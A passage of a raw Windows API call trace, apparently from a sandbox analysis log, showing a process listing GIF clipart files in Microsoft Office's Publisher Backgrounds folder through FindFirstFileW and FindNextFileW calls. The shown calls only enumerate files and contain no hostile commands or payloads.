[0129.865] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1113bba3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1113bba3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Backgrounds", cAlternateFileName="BACKGR~1")) returned 0 [0129.865] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0129.865] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0129.865] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0129.865] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0129.865] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher", lpFilePart=0x0) returned 0x38 [0129.865] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0129.865] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0129.865] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1113bba3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1113bba3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Backgrounds", cAlternateFileName="BACKGR~1")) returned 1 [0129.865] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0129.866] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0129.866] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0129.866] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0129.866] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0129.866] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds", lpFilePart=0x0) returned 0x44 [0129.866] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1113bba3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1113bba3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0129.867] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1113bba3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1113bba3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0129.867] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11030b47, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11030b47, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11030b47, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf77, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143743.GIF", cAlternateFileName="")) returned 1 [0129.868] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10c77030, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143744.GIF", cAlternateFileName="")) returned 1 [0129.868] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10c77030, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143745.GIF", cAlternateFileName="")) returned 1 [0129.868] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x10c77030, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x595, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143746.GIF", cAlternateFileName="")) returned 1 [0129.868] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1107d049, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1107d049, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1107d049, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143748.GIF", cAlternateFileName="")) returned 1 [0129.868] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1107d049, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1107d049, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1107d049, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1323, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143749.GIF", cAlternateFileName="")) returned 1 [0129.868] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1107d049, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1107d049, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1107d049, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x43e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143750.GIF", cAlternateFileName="")) returned 1 [0129.868] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1107d049, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1107d049, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1107d049, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x412, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143752.GIF", cAlternateFileName="")) returned 1 [0129.868] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1107d049, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1107d049, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1107d049, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143753.GIF", cAlternateFileName="")) returned 1 [0129.869] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1107d049, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1107d049, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1107d049, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143754.GIF", cAlternateFileName="")) returned 1 [0129.869] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1107d049, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1107d049, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x110a3267, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x69f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143758.GIF", cAlternateFileName="")) returned 1 [0129.869] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1107d049, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1107d049, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x110a3267, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x124a, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00516L.GIF", cAlternateFileName="")) returned 1 [0129.869] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1107d049, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1107d049, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1107d049, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2017, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00531L.GIF", cAlternateFileName="")) returned 1 [0129.869] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11030b47, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11030b47, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11030b47, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x20ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00673L.GIF", cAlternateFileName="")) returned 1 [0129.869] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1107d049, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1107d049, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x110a3267, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2026, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00703L.GIF", cAlternateFileName="")) returned 1 [0129.869] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1107d049, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1107d049, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x110a3267, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2313, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00760L.GIF", cAlternateFileName="")) returned 1 [0129.869] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1107d049, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1107d049, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x110a3267, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB00780L.GIF", cAlternateFileName="")) returned 1 [0129.869] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x110a3267, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x110a3267, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x110a3267, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01741L.GIF", cAlternateFileName="")) returned 1 [0129.870] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1107d049, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1107d049, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x110a3267, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x38c, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02039_.GIF", cAlternateFileName="")) returned 1 [0129.870] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1107d049, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1107d049, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x110a3267, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x987, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02055_.GIF", cAlternateFileName="")) returned 1 [0129.870] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1107d049, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1107d049, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x110a3267, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x37d, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02073_.GIF", cAlternateFileName="")) returned 1 [0129.870] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1107d049, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1107d049, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x110a3267, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x516, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02074_.GIF", cAlternateFileName="")) returned 1 [0129.870] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1107d049, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1107d049, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x110a3267, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02077_.GIF", cAlternateFileName="")) returned 1 [0129.870] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1107d049, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1107d049, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1107d049, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x996, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02082_.GIF", cAlternateFileName="")) returned 1 [0129.870] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x110c9494, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x110c9494, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x110ef705, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x90c, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02085_.GIF", cAlternateFileName="")) returned 1 [0129.870] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x110ef705, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x110ef705, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x110ef705, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x581, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02097_.GIF", cAlternateFileName="")) returned 1 [0129.871] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x110ef705, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x110ef705, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x110ef705, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x15fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02106_.GIF", cAlternateFileName="")) returned 1 [0129.871] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1113bba3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1113bba3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1113bba3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02116_.GIF", cAlternateFileName="")) returned 1 [0129.871] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x110c9494, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x110c9494, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x110c9494, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x97f, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02134_.GIF", cAlternateFileName="")) returned 1 [0129.871] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x110a3267, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x110a3267, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x110c9494, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x579, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02187_.GIF", cAlternateFileName="")) returned 1 [0129.871] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x110a3267, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x110a3267, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x110a3267, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4abc, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02198_.GIF", cAlternateFileName="")) returned 1 [0129.871] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x110a3267, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x110a3267, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x110a3267, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1653, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02201_.GIF", cAlternateFileName="")) returned 1 [0129.871] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x110a3267, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x110a3267, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x110c9494, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x136b, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02214_.GIF", cAlternateFileName="")) returned 1 [0129.871] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x110a3267, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x110a3267, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x110ef705, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02218_.GIF", cAlternateFileName="")) returned 1 [0129.871] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: lpFindFileData=0x1f9edbb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0129.872] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0129.872] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ede10) returned 1 [0129.872] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9eddd0) returned 1 [0129.872] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eded0) returned 1 [0129.872] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds", nBufferLength=0x105, lpBuffer=0x1f9ed970, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds", lpFilePart=0x0) returned 0x44 [0129.872] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\*", lpFindFileData=0x1f9edbf0 | out: lpFindFileData=0x1f9edbf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1113bba3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1113bba3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0129.874] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f9edbb0 | out: 